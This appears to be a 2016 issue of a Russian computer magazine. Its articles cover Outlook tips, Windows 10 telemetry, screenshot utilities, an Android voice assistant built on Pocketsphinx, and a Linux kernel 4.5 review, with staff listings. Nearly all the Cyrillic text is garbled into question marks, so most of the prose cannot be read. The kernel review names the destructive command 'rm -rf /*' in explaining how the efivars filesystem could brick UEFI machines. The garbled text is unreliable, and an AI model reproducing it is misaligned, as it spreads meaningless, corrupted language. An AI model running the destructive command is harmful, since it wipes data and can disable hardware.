?а??????? ?????? ???????? ??? ??а???????. ?????? ?? ??а????? ????? ????
????????. ???????, ?????: ??????? ????? ?а??? ??а?????? ??????. ??а????????? ??а??? ?а??а?????? ???????? ???,
???а??????.
??????? ??? ??????????????
??????? OUTLOOK
?????????????? ????????? ??????а?
????? ????????, ??, ????? ????????????? ???? ????? ??а?????? ????, ???????????? ?????????? ?????????? ?????
??????: ?????? ??????????? ????????, ???????? ??????? ???? ?????? ???????, ?а???????, ???? ?????, ??? ??????
?а???? ?? ?????????. ??????? ??? ?а????????? ??? ?????? ??????? ?????????
???? ??????, ??? ?? ?а????????.
????? ??????? ??????? ?а???????
?????? ?????? ????? ??а?????. ????
???????? ?????? ???? ?а??????, ?????
?а??? ???????? ???????, ??????? ??а??????? ???????? ?а???????? ??а??????
??????????????.
?????? ??????? ?????
???????? ????????? ??????
???? ?????? ??????? ????????, ????? ????? ??????? ????? ???? ???????, ??а????
?? ?????, ?? ????? ?????? ??????? ???? ???, ?а????? ?????????? ?????????
??? ??????????? ??????????. ??????? ??? ?????? ??а??????а? ??????????????? ?????? ???? ?а?????????? ????????? (л?????????╗ -> ??????? л?????╗ ->
л???????? ?????? ??????????????╗).
??????? ?????? ??????????????
???? ????? ??????????? ??????? ??а????????? ??????, ?? ?а??? ????????. ?????????? ???????? Outlook ?а?????? ??????:
Outlook.exe /CleanAutoCompleteCache
????????? ???? ?а???????? ?????????? ?аWINDOWS 10
???а????????, Windows 10 ?????????? ????? ????? ?????? л?? ????╗
?аMicrosoftа?а?а???????? ???????? ???? ?? ??????????? ???????????? ????,
??? ?а???? ??????????. ?????? ????? ???????? ?????? ?а???, ???а????????? ????? ????????? ???????????.
?????????? ?????, ??????? ????? ?????????, ?????? ???????????. ????????????? ????, ??? ?????? ?????? ????????? ?????? ?аWindows 10а? ??? ????????? Linux ??? ????????? ?аWindows XP. ???? ??????, ??а?????? ????? ?а????
?????????? ????? ??????? ????????? ?????? ?????? Microsoft.
?????? ????? ????? ???????, ??а??????, ??? ?????????? ?????? ?????? ??????? ?а?????? ???? ???????, ??????? ????? ???????? ?????? ????????? ????????, ????? ?????? ?а????????. ?а??????а? ?а???????? ?????? ??????????.
????? ??? ????? ????????? ????? ????? ??????, ??????? ?????????? ??а????? ???а??????. ???? ??а????? ?????? ??????? ?а??? л??????????????????╗.
?а??? ????? ????????? ??????????? ???!
?????? ???????????? ????????
??????? ?????, ?а?????????? ???-?? ?????? ?а????? ???????. ?????????? ?????????????? ???????????, ?а??????? ??????? ???????? ?????????? ??????
?????????? ??? ??? ???? л???╗ Windows 10.
???, ???????? ??? ?????? ??????????. ???-??? ????????? ?????????? ??????? ?а????????? ????????? ?????? ?????????, ??а???? ??? ?????? ???? ????????? ????????? ?а????? ????????????. ?а??? ??? ???? ???а???????????:
????? ?а?????????? ??????????? 95%, ?а?а5% ??? ????????? ?????????. ???а??
???????, ??? ?а?????? ???? ?????????????? ?а?????? ????????
?????? ????????? ?аWINDOWS ?а?????????
??????? ???????? ?аWindows ?а????????? ????, ??а?????? ????? ???????
??а?????? ??? ??а??????, ?а????? ??? ?? ??????? ???-?? ?а???????????? ?????????. ?а???????, ????? ?????? ????? ???????? ???????, ????????? ?а??????,
?а????? ????????? ?????? ????-?? ??а?????? ??? ??????. ?????, ???????, ???
????? ????????? ???????, ??а???? ??????? ???????????? ??????????????????
??????. ??а????-?? ?? ?а?????????.
Snagit ?а???????? ?????? ????????? ?а?????????? ????????? ???а??????
??????????.
Snagit
??????? ?аSnagit ??????? ?????????а? ??????? ?а????????? ????? ?а????????? ?????? ??а?????? ?а?????????? ???????????? ????? ????? ?а????????? ??????????? ?????-???? ????????. ????????? ????? ????? ?? ?????????? ?а??????. ??? ?? ??????, ?? ????????? ??????? ?а??? ????????? ???????? ?????.
?????? ??????????? Snagit ? ?? ?????? clip2net.
???????? ??????????? clip2net
??а????????? ????? ?????? ??а???????? ????????????. ??? ???? ?а????????
???????? ?а????????? ???????????, ?а????????? ?????, ?а???????? ???????
?а?????????. ???? ?а??????????? ???????????? ??????? ???а??????????????
???????? ???????. ????????? ??????? ??????????, ??а?а????????? ?????? ???
????? ????????? ???? ??????? ?а???? ??????? ?????????. ?а???? ?? ?а?????????? ?????? ???? ??????????? ??а100 ????? ?а??????, ?а??????????? ??????
????? ?????????.
??? ???? ????????? ??а??? ?? ????? ?а??? Ashampoo Snap 7.
Ashampoo Snap 7
??а?????????? ????????????? ??? Snap 7 ??????? ??????? ????. ????? ?а?????? ?????, ?а????????? ??????????????, ?а??? ???? ?????. ??а????? ??????
????? ??????? ???????? ??????????? ?????? ????????? ???-??????? ???????.
???, ????? ???????.
??а?????????? ???????? ?????? monosnap. ??а?????? ??????? ?? ?????
????????????? ?а??????????? ???????????, ???? ?а??????????? ????????
??????? ?а??????. ??????? ??????????? ???? ?а???????.
Monosnap
?а?????????? ???? ?????????? ??????? ??а??????? ?????? ??? ?????????
snaggy. ???а??? ????????????? ??а????? ?????? ?????????????: ?????? ???
Print Screen ?а?????? ??аsnag.gy. ?????????? ???????? ??а?????? ?????? ?а?????? ?????????????, ?а????? ????????? ?а?????????? ???????. ?????? ??????
????????????, ????? ??? ????? ??? ???????? ????? ??? ??а??????? ?????? ?????????????. ???а??????, ??????? ???? ??а????.
18+
? 5 (208)
???? ???????
??????? ????????
rusanen@glc.ru
??????? ???????
??????????? ????????
glazkov@glc.ru
?????? ??????????
???-????????
pismenny@glc.ru
??????? ????????
???????????? ????????
????????? ??????
?????? ??????????
PC ZONE, ?????, UNITS
pismenny@glc.ru
????? лant╗ ?????
?????
zhukov@glc.ru
???? ???????
?????
goltsev@glc.ru
??????? ??????
X-MOBILE
zobnin@glc.ru
???? ???????
??????
rusanen@glc.ru
????? ???????
UNIXOID ??SYN/ACK
kruglov@glc.ru
????????? лDr.╗
?????????
MALWARE, ??????,
PHREAKING
lozovsky@glc.ru
MEGANEWS
????? ????????
nefedova.maria@gameland.ru
???
???? ??????????
???????????
???????? ??????
???? ??????
???????
???????
????? ??????????
???????? ?? ???????
samsonenko@glc.ru
??????????????? ? ????????
????????? ?????????? ??а???????? shop.glc.ru, info@glc.ru
????? ???????????????
??????? ??????? (lapina@glc.ru)
????? ???а?????: ??????, 109147, ?/? 50
? ?????? ????????????? ???????? ??????????? ??????: claim@glc.ru. ????? ????????: 115280, ??????, ??. ????????? ???????, ?.а19, ????? ?????. ????????: ??? л?????╗: 606400, ????????????? ???., ???????????? ?-?, ?. ???????, ????????? ??., ?.а13. ??????????: ??? л??????? ????????╗, 614111,
???????? ????, ?. ?????, ??. ?????????, ?. 26. ???????????????? ?а??????????? ?????? ?? ??????? ? ????? ?????, ?????????????? ?????????? ? ???????? ???????????? (?????????????), ????????????? ?? ? ??77-56756 ?? 29.01.2014 ????. ?????? ???????? ??? ??????????? ????????? ?? ??????? ???????. ??? ????????? ???????? ??????????????? ??? ?????????? ?????????????. ????, ???????????? ?????? ?????????? ????????????????? ?????,
????? ???? ?????????? ?????????????????. ???????? ???????? ??????????????? ????????????? ????????? ?????????? ????????. ??????????? ?????????????? ??????????? ???? ???????????????? ???????????? ?????????? ??????? ??????????? ?????????: xakep@glc.ru. й ?????? л?????╗, ??, 2016
?????? ?????? ????. ??? ?????? ?а???????????
?а?????? ??????? ????????. ????? ????????? ???????? ?????????????????
CMU Sphinx. ????????, ??? ??????? ????????????? ???? ???аLinux ?????? ??а????
????????????? ??????????? ?а???????? ????????????? ??????? ???? ?а?????????? ?????????? ?????????????. ???????? ????? ????????? ?а???????? ?????????????? ?????? ?????????????? (?? 300 ?) ?????????? ????????. ???????
??? ??????????? ???а??????? CMU Sphinx ?а?? ?????????, ??а????????? ???????? ????? ?а??????? ?????????, ??????? ??????а? ????????? ???? ?а?????????? ?а?????????? ?????????? ??а????????? ???????, ???а???? ???????
????????? ???? ??? Android. ?????? ????? ??а????????? ???? ????????????
???а?????????? ?????????? ???????, ????????.
??????? ????????? ?а?????? ????????? ?????? Pocketsphinxа? ?????????? CMU Sphinx ???аAndroid. ?аPocketsphinx ???? ?????? ???аWindows Phone
?а???? ??? iOS. ??????? ???????????? ????? ??????? ????? ???????? ?????????????? ???? (? ??????? Google ASR ??? Yandex SpeechKit) ?а?????? ????????????, ?а????? ?а???????? ?а???????? ?????????????. ?а???? ?? ??? ???????а? ??а????? ?????? ??? ?????????? ?а???????? ?а?? ??? ????? ?????????
??? ???????.
????? ??????? ????????, ??? ???????????? ????? ??????? ???????? ??????
?а?????? ????????? ???????????? (?????????, ????????). ????? ????? ????????, ??? ?а???? ?????? ?а??? ????? ?????? ???????????? ??????? ?а??????????. ???а????????????? ????????????? ?????? (? ???????, ???а?????? ???-????????? ??? ?????????? ???????) ????? ???????????? ??????-??????.
????????
???????
???????
????????,
????? ????
????????
??????????
??????????
????????
??????а? ??????? ????????? ???а???а???????, ?????????? ?????? ?а????? ?а?????????? ?а????????? ??????,
??????? ???а????????????? ???????????? ??????? ?а???????? ???? ??а??????? Android-??????????? ?а??????????? ???????? ????????? ??. ??а???????? ??? ????????
WARNING
???: ??????? ???????????? ????????, ????? ?????????????? ???, ??????? ??
?? ???????? ??????? ?????????? (? ????? ?????? ????????????? ?????, ??? ?????). ?????????? Veravoice ?????????? ????? ?а????????
???????? ?а??????????
???? ????????? ?а??????????? ??а?? ???????? ??????Veravoice ?а??????????
????????????? ???а?????? ???? ??????????. ????? ?????????? ????? ????????
??????? ?????????
??а????????? ????????? ?а?????????????? ??????????,
??????????? ??????????
????? ???а??????? ?????? ??? ???????.
??????????.
????????? Veravoice ???????. ????????? ????? ?????? ??????????? ??а???????. ??????? ????????? API
Pocketsphinx ?аAndroid SDK, ?а?????????? ?????????? ?????? ??????????????? ??????????. ?а??????? ????? ?????????? ????? ??????????? ?????? ????, ?????????
???? ?а??????? ???????? ?????? ????. ???? ?а?????? ??????? ???????? ??а???????? ?????????, ????? ???????,
INFO
????? ?а??????, ????????????: л????? ???! ????! ?????????!╗а? ?а???????? ?????? ????????????, ?????? ???????
????? ??????
?????? ??? ??????????? ?а?????????.
???????? ????????
Pocketsphinx ????? ??? ?а???, ??? ????????? ??? ??????????????????
???????????? GitHub
?? ?а?а??? ??????????? ????????? ????????? ?????????,
??????? ?????????,
???а?????????, л?? ???????╗. ???????? ????? ?????????????? ??????????
?????? ???? ???????, ???? ???????? ??а?????? ???????Veravoice, ?а???????
??????????? ???????
??, ???? ?????? ???????? ????? ??????. ????? ????? ????
???? ???? ?????????
????????? ???????????.
?а????????
??????? ???????? ?????? ?а?????????? ??????????????????????????
?аCMU Sphinx.
???? ???????? ?????????????? ?а?????? ???????? ??????.
??????? ??????
??а???? ???????? ?а?????????? ????? ?????? ??????.
??????????
????? ?? ??????????? ???? ??а????????? ??????, ??а??????аAndroid ?????
??? ???????. ????? ???????, ??? ???? ?????????? ?????
??????.
???????????? ?????? ??, ???? ?? ??? ??????, ?а??а????? ????. ??????? ??а??????. ????????, Pocketsphinx ?????????? ??????????
???????? JSGFа? ???????????????? ???аJava Speech Grammar Format, ???
?????? ?????????? ???? JavaScript. ?????????? ????????? Sun Microsystems,
????????, ?????? W3C ?а???????? ?????????. ??а????, ??? ????????????? ?????????? ???? ??? ????? ????? ?а???? ????????? ????. JSGF ???????????? ??????? ????????? ????????????? ????, ?а??? ????? ??????????????. ?? ?????
?а????????? ??????? ??? ??????????? ???????? ????, ??????? ????? ??????????? ????????????. ?а????? ?????? ??? ????? ???????? ?????????. ????????
???????? ???:
Pocketsphinx ????? ????? ???????? ??а?????????????? ??????? ?????, ??????????? ???????????? ?????????? ????. ??а??? ??? ??а?????: ?????????? ????? ???????? ????? ???????? ?????? ??а???????? ?????????. ????? ????????????? Pocketsphinx ?????? ??? ??????? ??????? ??????, ??? ?????????? ?????
???? ???? ??а??????:
???? ????? ????????, ??? ???????????? ????? ??????? ??а????, ?а?????????
????????? ??????. Veravoice ???????? ?????? ????????? ??а??????????? ??????
???? (??. ?????) ?а????????? ????? ?????????? ?а?????? Grammar. ??????????а? ??? ??, ???а????? ???????? ????????????. ????? ??????? Pocketsphinx
????, ???а?? ????? ??????????? ???-????, ?????????? ??????? ??? ?????????
???????? ???????????? ????. ?а???? ??? ??????? ????????????. ??? ?????????? ???????. ???????????? ??????????? ?а??????? ???????????? ??????????. ??????:
????? uu m n ay j
??? d oo m
?а????????, ?????? ????????. ??????? ??????? ?а???????????? ??????????
????????. ??????? ?????????а? ?????? ?????????, ??а??????? ???? ???????.
??? ????????? ?????????? ???а???? ?????? ???????? ????? ????? ????? ?а????? ???????? ??????. ???????, ??? ??????? ??????? ??? ???????????? ?а?????????? ??????????, ?????? ??? ?????? ??????? ??а???????? ????????, ??????? ???????????? ???? ????? ???????????. ??????? ?аVeravoice ????????
???????????? ???????????? ??а????. ??????????? ??? ????? JavaScript-?????
PhonMapper, ??????? ????? ???????? ??а???? ??????? ?а???????????? ???а???
?????????? ????????????. ??????????? ???.
????????????а? ????? ?????? ????? ????? ????????
?????????? ???????
??? ??????????? ?????? ????????????? ???? ??? ????? л??????? ????╗ ?а?????
???????????? ??????? ???????? ????? (??? ????). ???а???? ??? ?????? ?????
?а???? ????? ???????????. ??? ??а?? ?? ?????, ??? ??????? ?????????? ?а?????? ???????? ????????. ???????????? ????????? ????? ?????? ???? ??????
?а????????? ?? ??????????. ????? ???? ????????, ??? ??????? ????????????, ?????????? ??? Pocketsphinx, ??????????? ????? ??????? ?а?????? ???
???????? ??а??????? ?аAPI. ??????? ????, ??? ???а????????? ??????? ?????
??а?????? ??????? ????????????, ??а?а????????? ?????????? ???????? ?????? ????????????????. ???????? ????? ???????? ???????? ?а????????? ??????
???????????? (??? ????? ?? ??а?????????? ????????????? ?????, ?а???????
?? ??????????), ??????? ???????а? ?а???????? ?????????????????. ???????
?????? ????????? ????? ?????. ???а??? ?????????? ????, Pocketsphinx ????????????? ??????? API ???а???????????????? ?а??????? ???????? ?????????????. ??? ?????? SpeechRecognizer ?аSpeechRecognizerSetup. ??? ???а???
???????? ?а???? ??????????:
???? ????????? ??а???, ????? ????????? ?а????? ????????? ?????. ??-??????,
?????? ??а???? ?????????? ??? ??????????? ????? (Pocketsphinx ??????? ??????? ??а????? ???????????? ??????, ?????????? ?а??????? ?а??????????????). ??-??????, ??????????????? ??? ?????? ?????????????. ???????????
???? ?а?????? ?????? ?а???????, ?а????? ????????? ????????? (????? ???????????????? ???а????????????? ?????). ?-???????, ??????????????? ???? ?а?????
?а???????????, ?а????? ????????????? ?????. ??а???? ????? ?????, ??? ????
?????? ??????????????? ????? ?а???а??????????, ?а???а????????????? ????????????? ?????. ???а???? ??? ????????? ?а???а????, ????? ?? ????? ?????? ????????????? ????? ???, ??? ?а?????? ?????? ????? ????????????. ??? ???а???????? ?????? ???????? ????????????? ????????????? ?????:
?а??? ???а? ????????????? ???? ??а???????? ??????????:
?????? ???????? ??????????????а? ??? ????? ?а?????????????, ????? ???????? ????????????? ????? ????????????? ???????????, ???? ????? ?????? ??а???????. ???а??????, ????? ???????????? ?????? ???? ?????? ???а??????? ????? ?????.
?????????
????? ???????? ????????? ?????????????, ?????????? ????? ??????? ???
??????????? ????????? ???????, ??????? ?????????????? ?????????
RecognitionListener. ?а???? ???? ????????? ???????, ??????? ??????????
???а??????????? ?????? ??а????????????? ???????:
? onBeginningOfSpeechа? ?????? ??????? ?????-?? ????, ???????? ???? (?
????? ????, ?а???);
? onEndOfSpeechа? ???? ??????????;
? onPartialResultа? ???? ????????????? ?????????? ?????????????.
???а????????????? ????? ??? ??????, ??? ??? ?????????; ???????? Hypothesis
???????? ?????? ?а????????????? (?????? ?аscore);
? onResultа? ???????? ????????? ?????????????. ???? ????? ????? ??????
????? ?????? ?????? stopSpeechRecognizer. ???????? Hypothesis ????????
?????? ?а????????????? (?????? ?аscore).
???????? ??? ??? ???? ???????? ?????? onPartialResult ?аonResult, ????? ???????? ?????? ????????????? ?а???????? ????????????? ?????????. ???
???а??? ??????? ?а?????? ?а????? ???????????:
????, ????? ???????? ??????? onEndOfSpeech, ???а???? ?? ?????????? ??????? ???а??????????, ?? ?????????? ?????????? ?????????????, ????? ????
????? ????? ?????? onResult. ?аonResult ????? ?????????, ??? ?????? ??? ????
??????????. ???? ??? ???????, ?? ????? ????????? ?? ??а?????????? ?а??????????? ?????? ??а????????????? ????????????? ?????. ?аonPartialResult
??? ?????????? ?????? ????????????? ????????????? ?????. ???? ?? ??? ????????????, ?? ????? ????????? ??????? ????????????? ???????. ??? ???а??
????????:
????? ?? ?????? ?????? ????????? ?????? ???а?????????? ????????????, ???
?? ??? ???????? ?а?????? ?а??? ???????. ??а??? ????? ???????? ?????? ????
????????. ??????? ?? ????????? ????????????? ????? ?????????? ????-???? (???? ??????, ??? ???????????? ???????, ????? ??а???????? ??? ???). ????? ??????????? ?????, ??????? ????????? ????????????? ?????????????, ????
???????????? ??????? ??????? ?????. ?а?????? ?????? ??? ??? ???????. ?????
?????????? ???????????? ?????? ?а???????. ??? ??? ??? ?????????? ???а??????????? ??????????. ?а????? ??????? ?? ?????? ??????????? ??а???????
???????? ?????????, ???? ??а??? ?????? ?????????? ?а???? ?????? ??? ????????? ?а??????? HTTP-??????? ??а?????????? ?????? ????, ???? ????????
??? ??????? ????????? (??? ?а?????? ?а???????????). ??? ?????? ????? ???????
?а?????? Controller.
??????????? ????. ?????? ????а? ??? ????????, ???????? ?????????????.
????? ????????а? ????? ?????????? ?????? ?????? ?а????, ????? ?? ???????
????????????. ????????, ??????: ?? ?????? ????????? ???? Android-?????????? ?????????? ??????? ???????????. ?а??????? APITextToSpeech ??? ??????? ???????? ?????? (??????? Google ??а?????????? ??????? TTS ???а???????? ?????):
????? ???????, ??? ????? ???????? ????? ??????????? ????????? ?????????????. ??а????????? ??????????? ?????? ?????????? ???????????? ?а???????
????????, ?а???-?? ?????????????.
????????? ??????? ???? (?? ???? ????????? ???????? ????????? ?????? ????????????) ????? ????????? ?а?????????:
?а??? ?? ?????? ?????????, ??? ?? ??? ????-?? ?а??????? ??а??????, ?а???????? ????????????? ????????????? ?????, ???? ?????? ?????? ???.
?????? ??????????
???? ??! ???а??????, ?????? ?а??????????? ???????????? ???? ????? ??а?????????? ?????? ????????а? ????????? ??????? ????? ????????????? ????????,
???аPocketsphinx. ?? ????????????? ????? ??????? API, ??????? ????? ???????????? ?а??????? ?????, ????????? ?а?????????????? ????????? ??????.
?а?????? ??????? ?? ?????????? ????????????? ?а?????? ?????????? ??????а? ?????????? ?????????? ???????????? ?????? ????. ??а???? ??????????
????????????? ?? ???????? ????? ??????? ???????? ?????? ?а?????????????? ??????.
???????, ??? ??? ?? ??? ????? ???????????? ?а???а?????? ?????, ?????????
?а???????. ??? ????????????? ?????? ???? ?????? ????? ???. ??? ?????????, ?а????? ???? ?????? ?????????? ?????? ????? ?а??????????? ??????????
Veravoice ??аGitHub.
?а??? ?? ????? ????? ?????????? ?????? ??а???????? ???????, ??? ??????????
??? ??а?? ??? ?????? ??а????????????а? ??? ?????? ?????. ??????? ???????
(???? ?? ????????????? ???? ???а??????????? ??? ?? ??????? ???? л????? ???╗)
????? ?????? ????????, ?а????? ?????? ??????????? ?? ????, ????? ????? ???????????? ??????????? ???????????? (??? ???а???????). ??????? ??а??????
????? ???????? ??????? ????????????? ???? ???аLinux ?????? ???????? ???????? ????????? ???? ??, ??а???????? ????????????? ?а???????????.
SYNACK
??????
лurban.prankster╗
?????????
prank.urban@gmail.com
????
?????????
??????????
?а????? ????? 4.5
?а???????? ????? ????? ????? ???? ??????? ?????????? ?а???? release candidate ????? ????????? ??????????
????? ?????? ???? 4.5. ????? ???????????, ?а??????
????????????? ????? ??????. ????????? ????????? ???
??????????а? ????????, ?????? ?а???????, ?????????
?а??????? ???????, ????????????, ?, ??????? ??, ????????? ???????? ???а????? ?????????. ????????? ??????????? ?а?????????? ???????? ???????????.
?а??????
????? ???? 4.4 ????? ???????????? ???????, ?а?????? ?????? 2016-??, ??а??а???
???????? ????? ?????????? ??????? ?????????? ??????????. ?а???? ????? ?????? ????? ????? л??????????╗, ????? ???????, ??? ??а????????? ?а???????
4.4 ?????? ????? ????? ????? ??а?????а? 70 ????? ?????? 49 ?????. ?а?????????? ??????????? ???????? 1528 ???????, ??????? ?????? ????? 13 ????? ???????????. ?а????? ??? 11 ????? ?????? ???? ????????? 1 146а727, ???????
854 589 ????? ????. ?а4.4 ???? ?????????????? 714 106 ?а471 010 ?????. ?????
???????? (45%) ???? ????????? ??????? ?а?????????? ?????????, 17% ??????????? ??? ?????????? ??????????, 14% ???????? ???????? ?????, 4%а? ???????? ??????, ?а3% ????????? ?????????? ?????????? ????.
?????????? ?????????? ????? ?????? ??? ??????? (Doug Ledford) ??аRed
Hat, ???????????? ?а???????? ??????? ???? (7,7%), ???? ????????? (Tomi
Valkeinen) ??аTexas Instruments, ?????????? ??? ?????????? ??????????????
OMAP (5,3%), ??? ???????????? ????????????? ???????? ??а????????? ??????????? ???? AMD: ???? ???? (Eric Huang)а? 3,3%, ????? ?????? (Alex Deucher)а?
2,4% ?аyanyang1а? 1,6%. ?????? ??а???????????а? ????? ?????? (Linus Walleij)
??аLinaro, ????????????? ????????? ?????????????? ?????????, ?а??? ?????
?а??????????????? ?? GPIO (2,0%), ???? ??????? (Arnd Bergmann), ??????????? ??????? ?????? ???а????????? ARM (1,9%), ?а??? ??? (Leo Kim), ???????????? ????????? wilc1000 (1,7%). ???а?а?????, ?????? ?????????? ?????????????? ?а???????? ????. ?????? ??? ??????? 4.5 ?????????? ????? 200
????????, ????? ??????? Red Hat, Intel, AMD, Texas Instruments, Linaro, Linux
Foundation, Samsung, IBM, Google. ??????????? ??а??? ????????? ?????????
????? ????????? ?а????????? ????????? ?а????????????, ??, ????????, Google
??????????? ?????? ????? ????? ????????? ?а??????? ?????????? Linux.
????????? ?а?????? ?????? ????
???? ?а????????
??????????? ??????? ???????? ?а????? ??????????????? ????, ???????????
??а?????????? (x86/asm) ??а?, ??????? ??? ?а4.0. ???? ?????? ????? ???????? ?а?????????? -fsanitize=undefined. ??? ???????? ???????? ??? ????
????? ?аGCC 4.9+ ?а?????????? ?????????? ????? UBSan (Undefined Behavior
Sanitizer), ??????? ??????????? ?????????????? ?????????, ???????? ??????
C ?аC++: ????????????? ????????????? ?????????? ??а?????????????, ??????? ??а????, ????????????? ???????????? ?а??? ?????. ?????????? ??????
????????????, ??? ????? ???????? ??????? ??а??????????, ?а?а?????? ??????????? ????????? ????? ???? ????? ?а??????? ??а?????? ???????????. ??????
?????????? ???????????? ????? ????????, ?????? лruntime error:╗ (????? ????????? -fno-sanitize-recover) ?а?????????? ??????????.
??а????????? ?а?????? ?????? ??а??? ?????????? ??????????? ?а???????????? ??????, ??? ????????? ????? ??????????? ?????. ???а?????????? ???????????? ???????????? ??? ??????????, ???? ??а???а? ????????? ???????? ???а?????? mmap(), ????????????? ?а???? ASLR (Address Space Layout
Randomization). ??????? ?????????? ASLR ????????? ?аLinux ?а2005 ???? ?а????
2.6 ?а???????? ???а32-?????? ?????? 8-?????? ???????? (??а???? 256 ????????? ???????, ???? ??а????? ???? ??????), ?а???аx64а? ???????? ??? 28-??????. ???аx64 ????????? ?????? ??????????, ?а??? ???а32-?????? ??????, ?????
??????? Android, ????? ??а??????? ???? ????. ??? ???????? ?????????, ??????? ????????? ?????. ?а?????????? ?????? ??????? ???????? ??????? ????,
??????????? ????????????? ??????? ??????????? ???аASLR, ????? /proc/
sys/vm/mmap_rnd_bits ?а/proc/sys/vm/mmap_rnd_compat_bits (? ???????? x64 ???аx86-?????????). ???а?????? ??????????? ??????????? ??????????? ?а???????????? ???????? ?а?????? ?????????? ????????? ????????????.
???аx86 ???????? ????? ?????????? ?а????????? ??а8 ??а16 ??? ??? 28?32 (???
x64-??????). ????????? ??а????????? ????? ???????? ???а?????? ????.
????????? ASLR ?а????? ????
????????? ??????????? DRM-???????? ???а????????? NVIDIA (Nouveau)
?аIntel (????????? ???????? ????????? ????? Kaby Lake), ????????? ????????? ????? ???????? ????, USB-????????????, ?????????????????. ????????????? ??????????? ???? Intel ?аNVIDIA ??? ????? ?????????? ??а?????????????
?????? UMS (Userspace Mode Setting) ?а????? open source ????????? ?а?????? KMS (Kernel Mode Setting), ?????? ?????? ??????? ???????? ATI Radeon,
?а??????? ????? ??? ?????? UMS. ?а3.9 ???? ???????? ??? ???????? ?????????? DRM_RADEON_UMS ??? ?????????? radeon.modeset=0 ?аGRUB. ??????
??????? ?????? KMS (Kernel Mode Setting). ??? ????? ?????????, ???? ?????????? ???????????? ?????? ???????? ??? ????? UMS (UMS ?????? ??????????
??????? ??????????????????).
?а??????? AMDGPU ????????? ????????????????? ????????? ??????????
????????????? ?????????? ???????? PowerPlay, ??????????? ???????? ?????????????????? GPU ???аGPU Tonga ?аFiji ?а??????????????? Carrizo ?аStoney.
?а?????? PowerPlay GPU ??????????? ?а?????? ??????? ?????????????????,
??а?а?????? ??????????? ???????? ??а??????????? ?????????? ?????????????
??????????? ???????. ??а????????? PowerPlay ????????, ???а????????? ??????? ???????? ???? ???????? amdgpu.powerplay=1.
????? ?????? Media controller API ????????? ????????? ?????????
Video4Linux ?а????????? ???????????? ???????????????? ?????????????????????? ?а?????? ???????????, ????? ???аDVB, ALSA ?аIIO.
?аKVM (Kernel-Based Virtual Machine) ????? ??????? ???а????????? ??????????? s390 (?????? ??? ????? ???????????? ??а248 vCPU), ARM/ARM64 ?а????????? ?????? x86 ?аHyper-V.
????????? ???? 4.5 ?аUbuntu
????? ??????? ?????? ????????????? ?а????? ?????а? ???????????? ??????
??аUbuntu Kernel Team. ????? ????????????? ???????????? ????? ???? ?????
???????? ?аppa:canonical-kernel-team/ppa, ??а?????? ??а??? ?????? ?????.
$ wget -? http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.5-wily/
linux-headers-4.5.0-040500-generic_4.5.0-040500.201603140130_
amd64.deb http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.5
wily/linux-headers-4.5.0-040500_4.5.0-040500.201603140130_all.
deb http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.5-wily/l
inux-image-4.5.0-040500-generic_4.5.0-040500.201603140130_amd
64.deb
$ sudo dpkg -i linux*.deb
????????? ARM
ARM-?????????? ???????????? ???а????-??????? ??? ???????????? ??????
??? ?а???????? ???????????? ?????????????, ??? ?????? ?? ????? ???????????
?а???????????????. ARM-?????????? Linux ??а????????? ???? ??? ???????????? ?а???? ??а???????? ????????, ??????? ???????????? ?????? ??а????????? 32-????????? ARM-????????, ?????????? ????????? ???? ?????, ?а???
?????? ?а????? ??????????? ?а?????? ????? 4.5. ????? ???а??????? ARM-?????????? ?????????? ???? ??????? ??????????? ????, ??????????????
????????? ?????? ???????????? ?????????. ??а???????? ?а???, ??? ??????????
??????????? ???????, ????????? ??????????? ????????? ????????????, ??
?а???? ???????????? ??аARM-??????????? ?????? ???????????? ???а?????? ???????????? ??????? ????????????. ??а?а????? ?? ????? ????????? ????? ????????? ?????? ????, ??? ????? ?????????? ????????????? Linux.
??????????? ??????? ?а???????????? ???????? ?????????? ???? ????? ????????? ????????? ?а???? ???? ????????? ARMv6 ?аARMv7, ?? ???? ?????? ????? ??????? ????????????? ????, ????????? ??????????? ??а????? ????????.
?????, ????????, ????? ????????? ?а?а???????????? ?а????????? ????? ???????????? Device Tree, ????????? ???а????? ?????????? Open Firmware. Device
Tree ????????? ??????????????? ???????????? ?? ????? ???????? ???а?????? ??????????? dts-??????, ?????????? ?а/boot/dtbs, ?а?????? ?????????
???а?????????? ????. ????????????? Device Tree ?????????? ????????????
???а???? ????? ?????????? ARM ?а??а?????? ?????????. ??? ??? ?????? ????
???????????, ??? ???????????? Linux ?а??????? ????? ????? ???????? ????????? ??а????? ARM-??????????. ??????????? ???? ????-??????? (Greg KroahHartman) ??аLinux Foundation ???????? ????, ??????????? ???????? ??????????? ???а?????? ?????? ????. ?аarch/arm64 ?????? ???, ??????????????
????????? ????? 64-?????? ??????????? ARM (ARMv8). ????????? ?????
??????? ???а???? ?????????? ?????????? ARMа? Allwinner, Amlogic, Samsung,
Qualcomm ?а????????? ????? ARM-???? ????????? ?????????????.
????????? ???????
???а??????? ?а?????? ???????? UEFI (Unified Extensible Firmware Interface)
?аLinux ???????????? ??????????? ?????????????? ??????? efivars (????????????? EFIVAR_FS), ??????? ??????????? ?а/sys/firmware/efi/efivars. ?а????????? ??????????? ???а?????????? ??????? rm -rf /* ????????? ??????????
?а????? ????????, ??? ????????? ?а?????????? ????????. ????????а? ???????????? ????????? ??а??????? ??? ????????? ???????????, ???? ????????, ???????, ??а????? ????????????????, ?? ?а???? ?? ??????-?? ???????????? ?????? ?а?????? ??? ?????????. ??? ??а????? ???????? ????, ?а???????? ???????
?????? ??????? ????? ??????????????? ????? ????????????. ?????? ?а???? 4.5
????????? ??????????? ?????? ???????? /sys/firmware/efi/efivars, ??а??????????? ??????? ????? ??????.
????????? efivars ?а????
???????? ??????????? ????? cgroups ???? Linux, ??????????? ?а2.6.24, ????????? ??????????? ?а???????????? ?????????????? ???????. ????????????
???а???????? ??????????? ?а????? ????????, ???аDocker ?аLXC. ??????? ?????????? cgroups ???????? ?????? ?? (Tejun Heo) ??аFacebook. ??????????? ??????????? ???? ??????? ??????????, ??? ????????? ?а????????? ??????????????
????? ????????????? ?а?????????? ???????? ???????? ????. ?а???? 4.5 ????????? ??????????? ?????????????? ?????? cgroups v2 (pdf), ??? ?????????
?????????? ?а?????? ?аFacebook. ?аv2 ???????????? ?????? ???????????????
??????? ???????? (Cgroup unified hierarchy). ???????? cgroup ?????? ?????
